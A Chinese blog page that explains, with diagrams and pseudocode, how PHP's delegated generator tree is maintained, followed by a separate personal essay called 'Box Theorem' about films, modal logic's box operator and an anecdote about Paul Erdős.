#4 gen有一个child结点, 且存在一个有多个孩子的descendent结点.

图示新增过程如下:

1
2
3
4
5
    gen                       gen
/ / \
c1 + child --> c1 child
/ \ / \
c2 c3 c2 c3

对应的部分连接过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function search_multi_children_node(gen) {
while (gen.node.children == 1) {
gen = gen.node.child.single.child;
}
return gen.node.children > 1 ? gen : null;
}

function merge_child_nodes_to_ht (gen, mutil_children_node, gen_single_child_node) {
foreach (mutil_children_node.node.child.ht as leaf => child) {
ht_add(gen.node.child.ht, leaf, gen_single_child_node);
}
}

function add_child_to_node_has_one_child (gen, child) {
// assert (gen.node.children == 1)
multi_children_node = search_multi_children_node(gen);
if (multi_children_node != null) {
merge_child_nodes_to_ht(gen, multi_children_node, gen.node.single.child);
}
}

这里的操作是围绕核心设计3在进行. 注意观察最左边gen本身的结构, 它只有一个child结点, 那么当我们拨动c2或者c3使得gen完成执行后, 新root结点只能是它唯一的child结点. 但是当child也连接为成为gen的一个child之后, 我们就需要在gen完成执行时, 做出选择了. 那么gen中至少需要存储3个ordered pair, 即 (c1, c2), (c1, c3), (child, child). 所以这里有一个细微的merge操作, 将gen所有的后继leaf结点和gen的本身那个child结点构成的ordered pairs都放到gen.node.child.ht中.

那么我们要怎样完成这个工作呢? 我们不需要遍历gen所在tree的所有leaf结点, 我们只需要找到gen下第一个拥有多个孩子的descendent结点, 然后遍历它的ordered pairs中的leaf结点即可. 因为我们一直在维护上述操作, 可以保证从该结点中拿到所有的leaf结点.

#5 child不存在多个孩子的descendent结点

图示连接过程

1
2
3
4
5
6
7
8
9
 ...                       ...
\ \
p1 + child --> p1
/ \ \ / \
... gen c1 ... gen
/ / \
... ... child
\
c1

上述连接过程完成之后, gen会多出一个leaf结点 c1, 如果gen拥有多个child结点, 考虑核心设计3, 那么我们需要把(child, c1)放到gen中. 同理我们需要向上考虑gen所有拥有多个孩子的ancestor结点. 其过程为如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function add_child_to_node_has_one_child (gen, child) {
if (gen.node.children != 0) {
multi_children_node = search_multi_children_node(child);
if (multi_children_node == null) { // `child`不存在多个孩子的descendent结点
leaf = child.node.ptr.leaf;
ht_add(gen, leaf, child);

parent = gen.node.parent;
cur = generator;
while (parent) {
if (parent.node.children > 1) {
ht_add(parent, leaf, cur);
}
cur = parent;
parent = parent->node.parent;
}
}
}
}

#6 child存在一个有多个孩子的descendent结点.

图示连接过程

1
2
3
4
5
6
7
8
9
...                             ...
\ \
p1 p1
/ \ / \
... gen + child --> ... gen
/ / \ / \
... c1 c2 ... child
/ \
c1 c2

这里面临和#3中一样的问题, 当gen不是leaf结点时, 我们需要把ordered pair (child, c1)(child, c2)也放到gen上. 同时, 也需要考虑gen的所有拥有多个孩子的ancestor结点, 将child中的所有leaf结点对应的ordered pairs加到其上. 其过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function merge_leaf_node_to_node (gen, child) {
if (gen.node.children != 0) {
multi_children_node = search_multi_children_node(child);
if (multi_children_node) {
merge_child_nodes_to_ht(gen, multi_children_node, child);

parent = generator->node.parent;
cur = generator;
while (parent) {
if (parent.node.children > 1) {
merge_child_nodes_to_ht(parent, multi_children_node, cur);
}
cur = parent;
parent = parent->node.parent;
}
}
}
}

1.6. 维护 Delegated generator tree 之快速查找root结点

结合核心设计1-2, 我们可以很快的写出root结点的查找过程,

1
2
3
4
5
6
7
8
9
10
function get_current_geneartor(gen) {
if (gen.node.parent == null) {
return gen;
}

leaf = gen.node.children ? gen.node.ptr.leaf : gen; // 确定gen的leaf结点
root = leaf.node.ptr.root;

return root;
}

对应任意的结点, 我们首先找到它上存着的某个leaf结点的引用, 再从这个leaf结点上获取真正的root结点. 但是上面这个版本的查找过程并不正确. 在下面一节中将给出完全正确的版本.

1.7. 维护 Delegated generator tree 之更新结点

这里维护操作关注, 当root结点完成执行之后, 如何退回正确的child结点继续执行, 对应核心设计3-4. 首先我们将上面的get_current_generator()修改正确, 考虑下面的例子

1
2
3
        gen0
/ \
gen1 gen2

当我们拨动gen1, 使得gen0完成执行后, gen2依然在使用gen0, i.e., 获取gen0的返回值. 这里告诉我们当root结点有多个孩子的时候, 我们不能直接将它从tree上移除. 但是为了避免, 我们下次拨动gen1或者gen1获取错误的root结点. 我们需要将gen_current_generator修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function get_current_generator(gen) {
if (gen.node.parent == null) {
return gen;
}

leaf = gen.node.children ? gen.node.ptr.leaf : gen;
root = leaf.node.ptr.root;

if (root is not finished && root.node.parent == null) {
return root;
}

return update_tree(gen, leaf);
}

可以看到, 我们在返回root结点之前, 多了一个check, 确保其并没有完成执行, 同时依然是一个root结点 (可能leaf.node.ptr.leaf还没有被更新). 如果这个check失败了, 我们就需要更新gen对应的root结点, 这就是update_tree()中在做的操作, 其过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function get_child(gen, leaf) {
// assert (gen.node.children >= 1)
if (gen.node.children == 1) {
return gen.node.child.single.child;
} else {
return ht_find(gen.node.child.ht, leaf);
}
}

function update_tree(gen, leaf) {
root = leaf.node.ptr.root
root = get_child(root, leaf);

while (root is finished && root != gen) {
root = get_child(root, leaf);
}

if (root.parent != null && parent is not finished) {
do {
root = root.node.parent
} while (root.node.parent)
}

leaf.node.ptr.root = root;
return root;
}

第11-12行对应了核心设计3-4, 根据leaf 结点找到应该退回的child结点. 这里我们并不能直接把找到child结点视为新的root结点, 有可能它也已经完成执行了, 那么我们则需要继续寻找它的child结点, 对应这里第一个循环过程.

第18-22行这里在干什么 ? 注意在1.5节新增child结点中, 只有一个地方会更新leaf结点中关于root结点的引用, 即case#1中, 而其余任何地方都是不会更新node.ptr.root的. 这是因为在其他情况下, 我们就需要使用类似于get_current_generator()中的操作, 定位leaf结点, 再check对应的root结点. 因此我们将在新增孩子结点过程中的更新root结点操作延迟到了update_tree()当中, 当没有更新node.ptr.root就有可能出现找到的root结点其实并不是真正的root结点, 这一点我们可以通过它是否存在parent结点来确定.

最后在24行处完成leaf结点上关于新root结点的引用更新.

2. 最后

拥抱PHP系列又开始更新了, 这个系列的初衷是希望大家多多关注PHP里面的东西, 距离上一次更新,已经大概已经3年过去了. 接下来也许还会继续更新, 但是不知道在多久之后... 文章错误我会不定时勘误. 谢谢最后读到这里的陌生人, 下次再见.

Box Theorem

我对国外励志片或者大家一致认为非常经典的电影从来不感冒,也一定是看着看着就会睡着了的人。 但是却熬夜看完了《当幸福来敲门》和《幸福终点站》,看完之后有一些觉得有趣的想法,我觉得写下来是一个不错的选择,写作其实是一种非常好的自我交流的方式。

我并没有对这两个电影表面的励志所感动,因为我从不怀疑一个人要得到某个东西的背后需要付出多大代价。我只是在静静地思考并汲取当一个人面对绝望,困境和无人倾诉的时候应当如何走下去? 有一个画面《当幸福来敲门》中父子二人因无法承担房租而流落街头,坐在地铁站台附近的长条凳子上一左一右,儿子突然看着Chris旁边的Box说道“Daddy Its not time machine...”, 直到看到这里时候我还在为这对父子如何渡过这个夜晚担心,我也以为Chris会尝试安慰儿子,但是Chris却说“Yes, It is...”,然后以此跟儿子做了一个小游戏回到了侏罗纪时代,把站台的厕所当做安全的cave渡过整个夜晚... 对啊Box为什么不能是time machine呢? 在那一刻它不是正好帮助了这对父子穿越了那片刻的苦难? 但是它却还只是一个Box。更让我觉得有趣的是,平时在生活总有许许多多的人,把自己困境当做祈求帮助的途径,而Chris并没有,它没有在找工作的时候告诉别人我是一个孩子的父亲,我们已经走投无路了,也没有在教堂排队等待分配临时住所的时候,因为自己还带着一个孩子希望别人同情一下,但是也看得出来他确实是一个自尊心很强的人。而在《幸福终点站》中整个机场对于Viktor就是一个Box,在这个Box某个角落67号登机口给自己建了一个家,结识了一些朋友,渡过了外人看起来不可思议的9个月。

我在想自己面对这些境遇的时候会如何做? 能不能拥有像Chris和Viktor一样的智慧?如果将Viktor在异乡的语言不通比作无人倾诉,Viktor无疑提供了一种比较好的方法,尝试找到共同语言,在尝试的过程中利用你可以接触的一切资源。这里有一个很自然的问题: 在我们的成长经历和日常生活该从哪里学习这种在困境中生活的方法? 这里我又想到了龙应台在《跌倒-寄K》中的一段话:

“我想说的是,K,在我们整个成长的过程里,谁,教过我们怎么去面对痛苦、挫折、失败?它不在我们的家庭教育里,它不在小学、中学、大学的教科书或课程里,它更不在我们的大众传播里。家庭教育、学校教育、社会教育只教我们如何去追求卓越,从砍樱桃的华盛顿、悬梁刺骨的张秦到平地起楼的比尔盖茨,都是成功的典范。即使是谈到失败,目的只是要你绝地反攻,再度追求出人头地,譬如越王勾践的卧薪尝胆,洗雪耻辱,譬如哪个战败的国王看见蜘蛛如何结网,不屈不挠。我们拼命地学习如何成功冲刺一百米,但是没有人教过我们:你跌倒时,怎么跌得有尊严;你的膝盖破得血肉模糊时,怎么清洗伤口、怎么包扎;你痛得无法忍受时,用什么样的表情去面对别人;你一头栽下时,怎么治疗内心淌血的伤口,怎么获得心灵深层的平静,心像玻璃一样碎了一地时,怎么收拾?”

没人教会我们,或者说别人也无法教会我们,因为有相同的经历才能让人共情。但是正如你所看到的Box is everywhere。 另外一个让我惊叹Box伟大的地方是modal logic里面出现的necessary modality, 第一次遇见它的时候是在natural deduction中作为characterize valid formula方式的出现,同时它又可以出现在lambda calculus中作为characterize closed term的方式。 但是它却只是Box,在见证了它无处不在,它最终以单独subsection named "Box is powerful"在我笔记里面存在。过去我不喜欢赋予冰冰冷冷的抽象事物以任何的感情,因为觉得它们永远只能那样,但是我逐渐发现它或许可以成为生活某个地方的钥匙。 直到我在姚期智大佬文中读到一个关于数学家保罗·埃尔德什(Paul Erdos)的故事:

“我想说的是他是完完全全一个专心做研究的人,而且他有一些特别的地方,他是没有家的人,365天,有360天在路上,在美国欧洲各个地方旅行,基本所需都在一个行李箱里,也不住旅馆,住在朋友家,基本都是数学家,从早到晚都可以交流。他有很多脍炙人口的小故事。比如Epsilon,微积分里用来代表“微小”,小(little)的意思,他喜欢用Epsilon代表小孩子。朋友问他:“吃过午饭了吗?(Have you had lunch?)”他回答:我吃了一点。(Yes,I ate an epsilon)。朋友笑他:你是食人族,吃了个小孩子! 再比如咖啡,他用一个词“定理咖啡(Theorem coffee)”来指咖啡很浓,可以激发数学思维,证明出定理。他在斯坦福访问时,曾在我们家住过两天,称赞储教授做的咖啡堪称“Theorem coffee”。他的整个思维,觉得数学不但是很高深重要的科学,也是社会合作的一个活动,觉得数学应该大家都参与,互相都合作,这是做数学最好的方式。科学界流行一个埃数(Erdos number)的概念,代表和Erdos合作的“最近”距离,可说是最早的一个社交网(social network)。网络之广,甚至许多生物学家、经济家都有一个近距离的埃数(Erdos number)。我本人的埃数(Erdos number)是2,这是因为储枫教授和埃尔德什(Erdos)教授写过一个论文,我又和储教授写过论文,所以她是1,我是2”。

显然Erdos教授将自己天天面对那些冰冷的东西以某种和谐的方式融入了自己的生活,为什么我不能呢? 在这里我也正式提出我的Box Theorem, that is, Box is everywhere! 如果将其称为The existence of Box, 那么我可以继而给出Semantic Box第二个定理Powerful Box Theorem, that is, Box is interpretable everywhere!

其实我想说是学会取悦自己是一个非常重要的能力,Box无疑是一种不错的工具,Box Theorem告诉你Box随处可见,而Powerful Box Theorem告诉你Box等待你探索它的意义。 但是并没有一个Deterministic Box Theorem告诉你某个Box一定有其特别的含义。 如果再将Box放到Kripke frame里面,Box此时会帮你记录下一个时刻会存在什么东西。 BoxBoxBoxBox... 盒中盒的形式也是存在的,至于它的语义不过是只是“人生无常,大肠包小肠”。

希望你也能找到自己的Box.